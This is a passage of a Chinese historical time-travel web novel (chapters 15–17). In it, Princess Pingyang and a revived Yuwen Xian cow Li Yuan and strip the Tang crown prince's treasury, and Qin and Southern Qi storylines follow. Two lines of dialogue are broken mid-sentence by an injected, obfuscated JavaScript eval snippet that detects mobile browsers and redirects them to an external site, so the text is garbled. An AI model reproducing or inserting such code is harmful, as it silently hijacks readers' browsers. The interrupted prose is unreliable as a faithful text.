建国之后,这种嫉妒又进一步加深,转为了尖刻与不屑—— 你再厉害,也不过是区区一介女流,只能当公主。 我虽然对国家毫无功业,却能当上亲王,邑数千户,让你望尘莫及。 甚至你见了我,都还得行礼! 李元吉呵斥下属赶紧停车,要去揪平阳公主的错处。 然而,他刚掀开帘子,从轿子里探出脑袋,就感觉一只手伸过来,将他从后方提起,而后,拎着他直接转了个面。 宇文宪一眼望去,顿时被这张脸狠狠丑到了:“你就是当朝齐王?” 真是个以一己之力拉低「齐王」封号含金量的奇人,同为齐王的宇文宪表示很淦。 “唔,唔,你......放......肆!” 李元吉双脚离地,拼命挣扎着,眼中流露出怨毒之色。 可那人明明动作轻描淡写,他却怎么也挣不开,反而越来越窒息。 宇文宪提着他,纳闷道:“平阳,你娘也算我看着长大的,幼而岐嶷,聪颖敏慧,如何生出来这么一个蠢东西?” 平阳公主沉默了一会,提出了一个优秀的猜测:“可能是抱错了吧。他一出生,我娘就嫌太丑把他送走了,没准那时就已经看出了端倪。” 李元吉:??? 15. 第 15 章 李元吉暴怒之下,居然一下子挣脱了宇文宪。 他怒喝道:“你是什么东西,敢当街对本王动手!还有你,平阳,以下犯上,以卑犯尊,我要让你死无葬身之地——” 一句狠话还没放完,宇文宪一拳打在他面门上。 随后,浑若无事地收回手,淡淡道:“真是聒噪。” 李元吉捂着脸,满嘴血腥气弥漫,半天没回过神来。 齐王的侍卫见有人居然狂妄到当街行凶,呆怔了许久,终于反应过来,一拥而上:“好大的胆子,还不快束手就擒!” “都退下,不得无礼!”平阳公主眉头一皱,“这位是我的七舅姥爷宇文宪。” “不可能!” 李元吉大叫道,“你休要在此大放厥词,七舅姥爷被宇文赟害死,都死四十年了——” 一句话未说完,心头忽然笼罩上一片巨大的阴影。 扭头看去,只见宇文宪举起拳头,对他露出了一个充满了威胁的微笑。 好像在说:“你要不要试试看,我到底是不是活的?” 李元吉在这一瞬间,好像看到了自己去世的太爷爷李虎,吓得赶紧改了口风:“就、就算你真是七舅姥爷,本王也是你的亲外孙,你凭什么偏帮平阳!” 宇文宪懒得理会。 人家什么人,你什么人,心里没点数吗。 他重又上马,飒沓一扬鞭,招呼小外孙女:“平阳,走了。” 二人丝毫没受到这幕插曲的影响,谈笑晏晏,转瞬离去。 ...... 李元吉瞅着他们的背影,神色充满了愤恨,转瞬就去了太子府。 见到李建成,便如同倒豆子一般把事情都说了一通,又啐道: “平阳不知从哪儿找来了一个人装神弄鬼,说是已故七舅姥爷宇文宪,这次,总算抓住她小辫子了吧,定要给点颜色看看!” 李建成皱眉道:“三弟,不可妄语。” 他和李元吉不一样,并不嫉妒平阳公主的功绩。 有道是,屁股决定脑袋,他作为太子赛道上的选手,要对付的是李世民,而不是名将赛道上的平阳。他甚至很想把平阳拉拢进自己阵营,以后为自己效命。 古来从无女帝,所以不必担心平阳僭越。 这柄剑既非常好用,又没有夺位的风险,何乐而不为呢? 李元吉听了此言越发恼怒,吵吵嚷嚷,又被李建成添油加醋,挑拨几句,终于忍不住了,进宫找李渊告状。 李建成又坐了一个时辰,估摸着时间差不多了,平阳一定挨够了骂。 就打算进宫去求情,给平阳卖个人情。 有人情在,以后收服不就容易多了么。 他打了一手好算盘,结果到了天子殿,才发现一切都很不对劲。 宫里居然正在举办小宴,气氛火热,李渊端起酒杯,殷勤地给人敬酒,上首坐着一位他不认识的青年将领,披甲执剑,英华昱耀。 不对,也不能说不认识…… 眉眼有几分熟悉,根据李元吉的描述,这位应该就是假.七舅姥爷了。 平阳公主也在不远处,正和不知何时候被宣进宫的李世民聊天。 姐弟俩低语着什么,平阳神色严肃,李世民若有所思。 李建成目光逡巡了好大一圈,终于找到了李元吉。 这家伙已经被贴墙上了,在一个旮旯里盯着水碗罚站,脸上青一道紫一道破了相,明显挨了顿毒打。 而他自己,刚迈进殿门一步,李渊的目光就投射了过来,充满嫌弃:“你来干什么?赶紧走,别碍着齐王的眼!” 李建成:??? …… 一个时辰前,当平阳公主带着宇文宪进宫,说自己遇见了神仙,要带走娘子军以及自己的部下三万人,一起去唐末征战。 李渊一度以为她得失心疯了。 他冷笑一声,不怒而自威,发令道:“公主年少懵懂,受人蒙骗。来人,先把她拉到一边,而后杀死这个招摇撞骗的狂徒!” 禁军得令,气势汹汹一拥而上,却发现问题大了。 刀剑根本砍不动宇文宪,明明就穿了一层薄甲,却好似铜墙铁壁! 改为放箭也不行,就相当于给他盖个戳,一点伤害都没造成! 宇文宪一人一剑,四处砍杀,如入无人之境,纵然禁军将他围得里三层外三层,还是不住地有人倒下,新补上来的速度甚至比不上他杀敌的速度。 一会儿功夫,就杀了三百名训练有素的禁军。 而他本人却毫发无伤,连血都没流一滴,也就是皮肤上多了几道刀尖划过的红痕。 宇文宪打完一通,伸出手,望了望自己的掌心,似也惊叹不已。 平阳公主:深藏功与名。 在舅姥爷作战的时候,她也没闲着,拿着认主之后自带的小光屏,飞快地咔咔调整宇文宪的身体参数,让其时刻保持在圆满状态,堪称刀枪不入,一点伤都没有。 众人见宇文宪独立当场,风骨凛凛,无不毛骨悚然,如见天神降世。 甚至有人当场就丢了刀剑,跪下叩拜,高呼向神明认罪,场面一时混乱不堪。 李渊也被骇了一跳:“你真是齐王?” 大唐追尊老子为祖宗,他对这些神鬼之说本就深信不疑。 但更让人惊恐的是,宇文宪死得很惨…… 这怕不是死后化神,而是化厉鬼索命了吧! 几十年前,就总有人觉得,宇文宪若活着,威震朝野,杨坚必无机会篡周,其含冤而死,天下皆叹之。 “你不要过来啊!” 李渊一个箭步后撤,握着佩剑,亦步亦趋,在仅剩的几名禁卫的环绕下退到了帝座后面。 一边惊恐地高叫道:“逼死你的是宇文赟,嫉妒你的是宇文直,篡你家国祚的是杨坚,与我大唐何干!” “你外甥女窦氏属于自然病逝,朕已经追尊她为皇后了,并没有哪里对不住她!” “冤有头债有主,你该找谁找谁,离朕远一点!” 宇文宪:??? 平阳公主:??? 二人把李渊揪来,按回座位上,花费许多时间,终于解释清楚了情况。 在铁拳的威胁下,李渊态度非常和善,脑子也转得飞快:“你说,你已经征得了神仙的同意,要带走三万兵马去后世大唐?这……” 他本来还想推脱一下。 平阳公主带走的娘子军虽然由她亲自创立,自募兵粮,辎重自给。 但怎么说也是大唐的一支生力军,哪儿能说放走就放走。 宇文宪微笑着擦了擦剑:“这什么?你想好再说。” 李渊头皮一阵发凉,赶忙道:“朕这就想!舅公你不要激动,先把剑放下!” 他真不是怂,只是识时务为俊杰! 宇文宪现在刀枪不入,又坐这么近,搞不好就会突然暴起给他一剑。 到时候,死了也是白死! 平阳公主跳出来唱红脸:“父皇快坐。舅姥爷,咱们今日仗剑诣阙,乃是有求于人,不可这么失礼。” 宇文宪从善如流,道了声歉。 李渊面色稍为好转了些许。 平阳公主又道:“父皇,我等不畏艰险前往后世,赴戎机,凛风霜,冒矢石,无非就是为了庚续大唐基业,绵延国祚而已。我与娘子军在当世只是锦上添花,到后世却是深雪送炭,扶危救世,你为何固执不允?” 这话确有几分道理,李渊露出深思之色。 他作为开国之君,自然不希望亲手创立的王朝凄凉覆灭,能救还是要救一下的。 但话说回来—— “你一介女流,兵马不过三万,如何能平定乱世?” 平阳公主正色道:“成败利钝,非所逆睹,天下万事都没有十成十的把握。从前隋文篡周,阿娘年未及笄,闻而流涕,自投于床曰:「恨我不为男,以救舅氏之难!」” 宇文宪听到此节,面色微微一黯。 平阳公主安慰般地拍了拍舅姥爷,又道:“阿娘志在万里,却别无选择,只能困于后宅,郁郁早逝。今日,我既然有幸站到了这个位置,拥有金戈铁马的力量,就该握紧手中剑,为江山社稷尽一寸心。” 李渊默然良久,忽然说了一句:“你留在本朝,一样可以为江山社稷尽心。” 平阳公主笑了,眉眼间漾开了些微的嘲讽之色:“真的吗?” 她的声音转冷:“身为天家贵胄,一日为臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799629|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一日终受制于人。父皇难道就没想过,等天下大定了,就收缴我的兵权,让我回去相夫教子,甚至抹去我的功绩,从此绝口不提吗?” 李渊眉头紧皱,下意识地感到不悦:“妄语!朕对你的赏赐异于诸主,多有旌节赞扬,何尝亏待于你!” “是没有亏待”,平阳公主语气平静地说,“但也只给了赏赐和赞扬而已,李元吉处处不如我,封邑是我十倍。” 李渊万分惊讶:“你怎么会这样想?” 他发自内心,真不觉得自己有哪里对不住平阳公主,给那么多优待还不够吗:“你是个姑娘家,为何执意要同你的弟弟相比?” 平阳公主语气冷峭:“为何不能比?齐武帝能将皇后升为太庙正神,让弟媳主持国祭,为韩兰英特设「女博士」官职掌管政务机要,创立了一支女官团队——女子亦有英才辈出,怎么就不能与男子待遇等同了?” 李渊听闻此言,简直勃然大怒,想要发作,但看见一旁的宇文宪,又生生按捺回去。 他揉着眉心,喟然长叹了一声:“古来只有一个萧赜这般离经叛道,几为天下笑柄。就因为朕没像他一般荒唐行事,你就为了这个怨朕?” 平阳公主一瞬间都被他整无语了,萧赜是开创永明之治的超级明君,你是什么成色,还笑人家荒唐,也不知道到底谁更荒唐。 她平静地摆了摆手:“父皇,我没有怨你。” 这是真话。 李渊确实没有下意识打压她,只是彻头彻尾的漠视,而这种漠视往往最伤人,也催生了极端的不公。 可是,这世间,本就没有真正的公平可言。 同样是做皇帝,有人生来就是皇帝候选人。 而有人,生来却极尽微末,是敌国质子,是羯人奴隶,是京口北府一小兵,是亡国之后,在敌国街头装疯卖傻才保得一命的乞丐。 他们都历经了千辛万苦,九死一生,才登上皇位。 李渊对她确实不好,但她同样也得到了很多。 她生在公侯贵胄之家,钟鸣鼎食,有这世上最好的母亲窦太后。 她自幼受到了优质的教育,弓马娴熟,又有着陇西李氏这个平台可以一展身手,有李家的旗帜可以号召兵马,开府招揽人才。 如果—— 自己生于微末,为衣食奔波烦忧,今日还能达到如此高度吗? 平阳公主问自己这个问题,却得不到答案。 “父皇,我确实不曾怨过您”,沉默良久之后,平阳公主语气轻轻地说,“我只是曾怨过命运,没有给我最好的一副牌……” “但,现在不怨了。” 她将前往一个全新的时空,有一段晴空万里的新开始。 命运只写在剑锋之上,而她将紧握长剑,战出一条青云之路,扶摇九霄。 这句话说出来,平阳陡然觉得轻松了许多。 她不知道李渊有没有明白她的心路历程,那已经不重要了。 李渊终究只是她前半生的过客,从前的一切都将埋葬在这里。 未来的每一日,她都要过得很好,腾云而上,大放光彩,如此,才算不辜负这一生。 李渊盯着她看了许久,只看到了她眼中一往无前的坚决与锐利。 终于,他仿佛被这种光芒所摄,退让了,从胸臆里发出一声长长的叹息:“你既然意下已决,那就这样吧,回去清点你的人马战将。” 平阳公主拱了拱手,神情真挚了许多:“多谢父皇,下次若从仙人处得到延寿之物,我再来报答你的恩情。” 反正先画个饼。 至于这个「下次」到底是什么时候,她就不能保证了…… 李渊不由动容:“你有心了。” 他并非真的无情,想到面前是自己唯一的嫡女,犹豫了一会,还是对她说道:“平阳,你此去唐末年间,九死一生,有什么需要的粮草、辎重、珍宝、钱粮,乃至人才,你尽管都带上。将来遇到险境,能多一份实力,便也多一丝生机。” 平阳公主就等这句话,欣然点头:“好!” 此刻的李渊,图样图森破,还远远没意识到自己这句承诺意味着什么…… 在平阳公主的提议下,他召李世民进宫,开了场家宴。 16. 第 16 章 宫宴上,李建成不请自来。 “谁放他进来的?”宇文宪一看见他便充满了嫌弃,如赶苍蝇一样,挥动衣袖将人赶走,“出去出去!” “太子啊,既然舅公不想看到你,那你就先离开吧。” 李渊还惦记着延寿丹,哪里会在这时候得罪这位舅公:“还有啊,这几天舅公在的时候,你就好好待在东宫闭门思过,不要出来碍舅公的眼了。” “儿臣遵旨。” 李建成垂着头应下,眸中流露出一丝阴郁之色。 余光瞥见,宇文宪正在热情地给平阳公主和李世民夹菜,颇有长辈风范,不断劝人多吃点。 那两人也在开开心心地给他回酒,说说笑笑,气氛和睦极了。 他不明白,明明只是外边来的一个骗子,为什么竟然真的是宇文宪本人,父皇甚至还对他言听计从! 李世民、平阳是窦太后的孩子,他就不是么? 为何这位舅姥爷如此偏心? 就因为他不如那两人能征善战,宇文宪身为一代名将,只喜欢和自己画风类似的人吗? 他哪里知道...... 宇文宪自幼经历了西魏、北周两个时代最险恶的政治环境,朝不保夕,风急浪险。对他来说,什么功名外物都是虚的,只有亲人之间真挚的感情无价。 就凭李建成做出来的那些事,生性凉薄,对亲妈毫无追思,甚至反手就是一个勾结庶母,残害亲弟。 宇文宪没当场把他打出去,只是动动嘴皮子赶人,这都是因为他死过一回,脾气温和了许多。 李建成虽然很气,但到底不敢反抗,只能灰溜溜地打道回家。 一面暗中找人给尹德妃传消息,让这位庶母帮忙探探宫中情况。 尹德妃盛妆入宫,明艳得惊人,好似一朵亭亭的罂粟花。 宇文宪皱眉,戳了戳平阳:“这位是......” 平阳公主嘴一撇,态度殊为不屑:“是我庶母尹德妃。” 宇文宪:!!! 他霎时想起了,在剧本中,这个家伙是如何欺负自己外孙的。 李世民和窦太后感情很好,一次在宴会上,见觥筹交错的热闹场景,而回忆起母亲,为之流泪。 ——现在的大唐,一切都是很好很好的......只是你不在。 这是何等将娘亲时刻放在心上的好儿子啊。 宇文宪看到这一段都快感动哭了。 结果转头,尹德妃就开始挑衅说,李世民这是在搞事情,故意和她为难:“海内无事,陛下春秋高,当自娱,秦王辄悲泣,正为嗔忌妾属耳。” 然后还疯狂帮李建成说好话,说没有太子,这大唐江山绝对不行啊:“使陛下万岁后,王得志,妾属无遗类。东宫慈爱,必能全养。” “和你为难?你也配!” 宇文宪火冒三丈,立刻站起身,给了尹德妃一个大嘴巴子。 想想不解气,又给了一个,打得很对称。 “说话之前不先照照镜子看自己的成色吗,我外孙注定要乘风直上,扶摇九天,做浴火重生的凤凰,你是什么阴沟里的臭虫,能跟他生在同一个时代、因此被写入史书记上一笔大骂特骂,已经是弥天之幸了!本王要是你,一定当场抹脖子,结束自己恶行累累的一生!” 一旁的李世民:“......” 虽然说,舅姥爷的滤镜多少有些太厚了,但他还是忍不住弯了弯嘴角。 尹德妃一声娇呼,双眸盈泪,无限委屈地看向李渊。 结果下一秒,她就发现李渊也被提了起来:!!! 宇文宪一手叉腰,一手把人提在空中晃荡,怒气冲冲地训斥道:“好一个唐皇,竟然放纵姬妾欺凌你的亲儿子!本王不是你爹,不在乎你宠幸哪个嫔妃,去哪里过夜,但你要是以后再敢因为这些后宫中伤,借故为难我外孙,本王随时冲过来拆了你的太安宫!” 李渊唯唯应下,丝毫不敢有异议。 宇文宪一转头,转向李世民,立即恢复了和蔼可亲的神色:“外孙啊,你要来说他两句吗?” 李世民微笑摆手,宇文宪是全场辈分最高之人,说两句无所谓,他作为儿子就不太合适了。 他真诚地说:“谢谢舅姥爷。” 这还是窦太后去世之后,第一次有长辈要保护他,给他主持公道。 感觉怪新鲜,也怪怀念的。 …… 饭后,在李渊惊恐的眼神中,宇文宪留在了宫中,要给他进行一场家庭教育。 李世民来到姐姐的公主府,进行了一场密谈。 平阳公主和他关系亲近,自无保守秘密的必要,她将自己在人生剧本上看到的所有信息,什么两宫争储、玄武门之变、贞观之治,种种事无巨细,一一告知。 饶是李世民一贯心性沉稳,英睿明断,乍接受到这么大的一波信息量,也不免为之愕然。 自己不仅未来越过太子(物理意义上的越过),当了皇帝,还开创了一个前所未有的盛世! 当皇帝之后的事,对他来说有点过于遥远了。 相比之下,反而是他杀了李建成这件事产生的震动更大。 这时候,他和李建成的关系还远没到图穷匕见,你死我活的模样,可是后来…… 李世民沉默许久,忽然斟酌着问了一句:“阿姐是否觉得我弑兄逼父,太过残忍?” 平阳公主没好气地伸出手,在他额头上一敲:“你小子问的什么憨话,还试探起我来了?!” 只能说,你姐还是你姐,天生就有血脉压制。 李世民被她这么亲切地一敲,反而奇怪地放下心来。 平阳公主又道:“玄武门之变算什么?只要你好好治国,让河清海晏,天下太平,千秋岁月自有公论。” “再说了,哪个君王登基前手上没有一笔血债?” 苻坚发动云龙门之变杀堂兄苻生,刘裕一生杀了六个皇帝,高演逼杀侄子自立为帝,陈蒨指使人将北周放回来的堂弟直接推进江中喂鱼…… 这些,可都是历史上口碑甚佳的明君英主。 手上沾染了些许血迹,一点不妨碍他们被万世传颂。 是“威烈振乎八荒,声教光乎六合”,是“气吞万里如虎”,是“经谋宏远,实当代之明主”,是“文皇聪明睿知……国史以为承平之风,斯言得之矣。” 唯有萧鸾、胡亥这样的皇帝,又蠢又坏。 既通过政变上位,杀人如麻,能力上又一塌糊涂,甚至亡国陨身—— 才会被钉在历史的耻辱柱上,沦为万世笑柄。 平阳公主说到这里,又道:“你未来都当上皇帝了,要负责的对象便是山河社稷,天下万民,以普通人的道德观去衡量,本就是一件特别荒谬的事。” 李世民听了之前一句话,眉心跳了跳,到后面却赞同地点了点头:“阿姐说的是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804673|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然,方才是比较理性的回复,你要是问我内心深处的真实想法——” 平阳公主故意微微一顿。 李世民果然有点急切地发问:“什么?” 平阳公主铿锵有力,掷地有声地道:“我只能说,杀得好!” 李世民:? 平阳公主大声道:“有些人就是拎不清,需要给一个教训。虽说大哥在玄武门死了,我小有悲伤,但一想到李元吉这厮也死了,我嘴角的笑容怎么都停不下来,哈哈哈哈哈哈——” 李世民:“……” 很好,阿姐真是完美说出了自己的心声呢! 平阳公主的笑声几乎掀翻了屋顶,他无奈摇摇头,递过去一杯茶,堵住了姐姐的嘴:“咱们消停点,三条街以外都能听见。” 平阳公主笑够了,一杯水咕嘟咕嘟喝下,又正色道:“虽说如此,我还是希望你能干干净净坐上皇位,历史上那是时也命也,并无他法,如今能和平过渡不搞政变,尽量就不搞政变吧。” 李世民沉思许久,不曾作答。 平阳公主也没催他。 她知道,李世民是聪明人。 哪怕眼前这个版本没经过太多历练,可能比起历史上的唐太宗还稚嫩了许多,但依旧胸中自有丘壑,无须她去指导怎么做。 她只是把自己的计划告诉了对方:“我在离去之前,会这般这般做。届时,你若谋划得当,从中掺一手,或许会有奇效。” …… 翌日,东宫太子府,李建成一觉醒来,得到了一个噩耗。 “不好了,殿下!” “我们东宫直属军队和羽林军的军械库藏全部被平阳公主搬空,她现在已经到了东宫宝库,准备开始抢东西了!” 李建成大惊,赶紧想着出去看看情况。 然而,他正在被禁足,李渊派来的使者一直看着他,不许他动。 李建成上蹿下跳,又是出言威胁,又是利益引诱。 好容易对方松了口,他能出门了,往东宫一走,真是当头一棒——宝库已经被平阳公主和宇文宪带人挪走了大半,空荡荡能跑马了! 平阳公主叉着腰,洋洋得意:“父皇都说了,让我在所有地方,有需要就拿,你的东宫宝库难道不是大唐的一份子?我为何拿不得?” “好,好!” 李建成怒极反笑,进宫告状。 谁料,刚见了李渊的面,一句话没说,就被一茶杯盖子砸在脸上:“朕平日亏欠你妹妹甚多,如今不过是区区一个宝库,有甚舍不得的?搬,让她尽管搬!” 万一把人惹不高兴了,延寿丹不就没了? 平阳公主听到消息,搬得更加起劲。 几千名娘子军成员活蹦乱跳,恰如一群饕餮降世,洪流席卷,霎时间就把东宫上上下下瓜分了个干净,一个铜板都没留下。 接下来,就是齐王府。 同样是娘子军所过之处,全部寸草不生! 少年李世民匆匆赶来,看着眼前宛如蝗虫过境一般的场景,目瞪口呆。 “弟弟啊,要淡定。” 平阳公主清点着自己的战利品,心满意足,一边笑眯眯地拍了拍李世民的肩膀:“阿姐为你清扫障碍,只能做到这份上,剩下的所有事,都得靠你自己啦!” 李世民:“……” 瞧你说的,这么客气,怎么不把东宫的地板砖也拆下来一起带走呢? 17. 第 17 章 大秦位面,泰山。 在大秦各位官员看来,自己不过是封禅的时候一阵眼花,陛下就从天而降,还坐着一个闪烁着幽幽银光的大鸟。 等等,大鸟? 官员和儒生们都惊呆了,天呐,这是什么怪东西,陛下又是从何处得来的? 一个铁皮庞然大物铺满了小半片山头,陛下正坐在里面,仿佛被吞噬了一样! “都上来”,嬴政从飞行器上空探出头,神色不怒自威。 “根据《尚书》,天子车架须是「懔乎若朽索之驭六马」,这个铁皮大鸟有违礼法。” 一名儒生嘴一撇,还惦记着先前遇见大雨时,对嬴政的讥嘲,当即就准备逼逼出一篇长篇大论出来。 但通武侯王贲却不满了。 对他来说,天大地大,嬴政的命令最大,听从君王的号令是刻进骨子里的事。 当即铿然一声,拔出佩剑,厉声道:“都上去,没听见陛下的话吗!有哪个不从,今日试污此剑!” 寒光凛冽,贯彻长空。 儒生脖子一缩,到底不敢用自己的脑袋和剑锋硬碰硬,只得灰溜溜地走上了飞行器。 百官入内一看,哦这光可照人的地面,哦这整簇如新的墙壁,哦这会说话的屏幕,哦这能够自动调节的柔软座椅,哦这全景巡航落地窗。 老天! 仙神造物也不过如此,把大秦卖了也换不来啊! 嬴政在最前方负手而立,有点嫌弃地看着众人吵吵嚷嚷,神色惊奇无比,真是一点都没见过世面。 全然忘了自己当初的表现,仿佛比这群人还要震惊许多倍。 李殷殷作为离飞升只差一步的天才器修,她做出来的东西,放在整个炸裂界都是相当炸裂的存在,非常神奇酷炫。 这回,因为大秦还没有合适的驾驶员,她特意为嬴政设定了一次性的自动驾驶,将会自发返回咸阳秦宫。 百官见飞行器无人操控,竟然还稳定向前行驶,不禁又一次大惊! 王贲抚了抚沙发上的绒毛,小心翼翼地问:“敢问陛下,这可是仙人赐物?” 嬴政背着手,高深莫测地说道:“不错,此乃封禅之时,仙人见朕一片诚心,特赐予大秦。” 虽然并不是泰山拜的那一位仙人,但他这波封禅,直接封到真仙头上了,有问题吗? 完全没有! 待嬴政将飞行器的功能简单一说,什么「日行千里」,什么「可以入海」,什么「自带舆图」。 百官嘴巴大张,完全合不拢,眼神中更是充满了狂热之色:“此乃神物,天佑大秦,天佑大秦啊!” “不,并非天佑大秦”,嬴政纠正道,“是店主仙人救大秦。” 百官虽不知这殿主仙人究竟是哪一座宝殿,但并不妨碍他们念诵这个名号,无比虔诚。 咚地一声巨响传来,转头看去,却是先前那名出言不逊的儒生,又羞又愤,直接昏过去倒地的声音。 没有什么比这更打脸的了! 他还在嘲笑嬴政封禅不合理法,必遭天谴,仙人转瞬却给出了这等神物! 儒生的脸皮被丢到地上踩踏几番,甚至还狠狠碾碎。 “拉下去”,嬴政毫不在意地挥挥手,示意人将他抬到一边,而后开始欣赏起了外面的风景。 飞行器在高天流云之间穿行而过,腾云驾雾,一切风景透过落地窗清晰可见。 无限辽阔的河山连绵起伏,尽皆收入眼帘,让人陡起浩荡千古的豪情。 嬴政陡然想起一事。 先前,众人交换了魔法手机的联系方式,其中聊天框里,就有分享图片这一项。 富贵不还乡,如衣锦夜行,他当即打开摄像头,对着自己和窗外的风景便是咔咔几张,给饭友们发过去。 【天子冕旒近景.jpg】 【看,这就是朕打下的大秦江山.jpg】 【从高空俯瞰人间,别有一番风味,人如蚁聚,屋如鳞排.jpg】 …… “云英快看,始皇帝升天了!” 南齐位面,因为萧子良情绪不高,朱祁钰正在找办法让他振作起来。 正好看见了嬴政分享的飞行图片,便直接举起来给他看。 萧子良尽管意兴阑珊,但还是忍不住扯了扯嘴角:“小钰啊,你这话说得好似始皇陛下驭龙殡天了一样。” 朱祁钰:“……” 很好,还能说胡话,看来没啥大事。 今日,是南齐国葬的最后一日,萧长懋谥曰「文惠太子」,加天子礼,衮冕入葬。 萧赜长发披散,亲自为太子扶柩送陵。 文武百官在后方列队相随,徒步出东门,前往夹石山。 阖棺前,萧子良最后看了太子一眼,见他双手合在胸前,面目平和,宛然如生,仿佛只是静静地睡去。 想到从此天人永隔,再不复相见,不觉又一次悲从中来,热泪潸然落下。 他解下一枚颈间的玉坠,放在兄长手心。 永别了,阿兄。 自此一别,幽冥茫茫。 这一枚玉我佩戴了许多年,愿能化作温润明光一点,陪伴你走完往生之路,来世再为兄弟。 山野之间,挽歌渺茫,哀音阵阵。 清冷的长风吹起草木漠漠,雪白的经幢与符节在空中飘飘荡荡。 太子位居东宫多年,勤俭宽仁,深得朝野士民之心。 沿途,挤满了自发悼念、随处焚香祭祀的百姓和官员,默默跟随在灵车后面。 尚书左丞沈约一身缟素,回想起从前在东宫的时光,与太子执手相谈、亲密影从,畅谈整日,不知夕阳之迟暮。 他神色哀切,迎风念诵着悼亡的词文: “悲哉人道异,一谢永销亡。帘屏既毁撤,帷席更施张。游尘掩虚座,孤帐覆空床……” “万事无不尽,徒令存者伤。” 最后一句话,一字一句真如利剑刺在心上。 徒令存者伤! 萧子良的内心顿时被一股巨大的悲痛与空茫所占据,下意识伸出手,在素服衣袖底下轻轻握住父皇的手,指尖微微战栗:“阿耶,我……” 萧赜也握住了他的手:“没事的,莫怕,朕在这里。” 父子二人都没有再说话,在风中沉默,目送棺柩移入山陵,而后填土落石。 墓道的闸门缓缓落下,彻底隔绝了所有的光线。 逝者从此陷入永寂,与人世间的最后一丝牵绊也就结束了。 萧赜一直立在夹石山前,凝眸远望,久久未曾动弹。 直至落日西斜,最后一缕颓光残晖落下,沉沉压过眉间,才牵着萧子良转身离开:“回家吧。” 永明年间没有宵禁这一说,建康城万家灯火,照彻通明。 既然结束了丧期,宫中的缟素俱已经撤下,又恢复了往日的热闹,一切都显得温暖而明亮。 朱祁钰虽然初来乍到,但因为是萧子良的好友,也参与了他们的祭祀活动,在太子墓前献花一束,聊表寸心。 当晚,尽管他极力推辞,皇宫中还是举办起了一场为他接风的小宴。 酒过三巡,萧子良吃吃喝喝,稍微恢复了一些精神,看着魔法手机上嬴政发过来的图,啧啧称奇:“不愧是始皇帝,一个飞行器还被他玩出花来了。” “英英,吃饭要专心”,萧赜自己没胃口,不怎么吃,却一直忙于夹菜投喂孩子,萧子良的碗里从头到尾就没空过。 朱祁钰也被纳入了投喂的范围。 他长这么大还是第一次经历这个,十分感动。 但吃到第五波的时候,不得不万般为难地拒绝道:“多谢世伯,我真的吃不下了。” 萧赜神色温和,微微一笑:“不要客气,当成在自己家一样,你看着这般单薄,理应多吃点。来,世伯给你满上。” 朱祁钰能怎么办,只好硬着头皮又吃了一碗。 此刻,他多么庆幸,这位萧世伯的品味很好,齐宫瓷器用的都是雅致精巧的小号。 倘若是大海碗的话,这几碗吃完,他就得被人抬出去了。 萧子良咕嘟咕嘟喝着茶,忽然想起一件重要的事:“阿耶,萧鸾、萧昭业还有其帮凶,你怎么处理的?” “英英不必担忧”,萧赜安抚般地摸了摸他垂落的乌发,柔声道,“朕早已有了计划。” 他低眉微笑,言语轻描淡写,却隐含着无限的森然杀机,“昭业贬去给太子守陵,终身禁锢不得出,其余人等,概杀无论。” 当然,事情自己私下解决就好,这么血腥的场面还是别让孩子看见了。 萧子良眨眨眼,似乎要刨根问底。 “嘘,别问。” 萧赜竖起一根手指,挡在了他唇前,转移话题道:“英英可要回西邸见朋友?朕让人去备车。” 他不提还好,一提起来,萧子良想起自己惨死的几位好友,顿时悲恸交加,归心似箭。 “阿耶,今晚先让这个木偶陪你休息,我就不回来了——” 他掏出一个可爱木偶放在萧赜怀中,这东西是沈约家的老师傅做的,他一直很喜欢。 一面抓起朱祁钰就跑,一溜烟就没影了:“我回去见休文,明天早上再过来!” …… 从齐宫到萧子良的鸡笼山西邸,车程仅有半小时。 因为萧赜根本舍不得让孩子远行,故而特意选了此处,让他开府。 那么问题来了…… 如果半路不坐车,改为走路上山,需要多久呢! 朱祁钰冷笑一声:“萧云英,朕真是信了你的邪。” 大半夜乌漆麻黑,两个人带着一群王府侍卫,深一脚浅一脚走山路,不知道的还以为要趁夜去劫营。 对此,萧子良也是振振有词:“小钰有所不知,我的王府西邸汇集了天下英才,很多好朋友都住这儿。” “今天我们只去找沈约,不找别人,车架华盖一动,声响巨大,不就暴露了吗?” “所以,还是自己走路为好!” 朱祁钰听出不对,皱眉问道:“你府上到底住了多少朋友?” 萧子良竖起三根手指。 朱祁钰松了口气:“十三个?那也还好。” 萧子良诚恳地摇摇头:“你不妨大胆一点。” “三十个?”朱祁钰想了想,“那问题也不是很大……你这是什么表情,总不能是一百三十个吧?” “是三百个哦”,萧子良微笑着告诉他,“住满了整整一片山头,世间名士悉数聚集于此……等等,小钰你别跑啊!” 朱祁钰可不想卷进竟陵王府的修罗场,转身就走,又被萧子良伸手拽了回来。 “小钰啊”,他大声嚷嚷道,“你是我最新结交的最好的朋友,难道不应该和我共同进退,共历艰险么!” 朱祁钰抬手捂住额头:“既然这样,朕先放弃最好朋友的席位,等明天再拿回来吧。” “太过分了”,萧子良生气地看着他,质问道,“你都见过我父皇了,怎么还想赖账!” 朱祁钰心说,你府上那三百多号人,哪一个没见过你父皇…… 就凭萧赜对孩子的重视程度,竟陵王府每一名宾客的背调信息,包括家里十八代亲属姓甚名谁,早就在他案头堆积成山了。 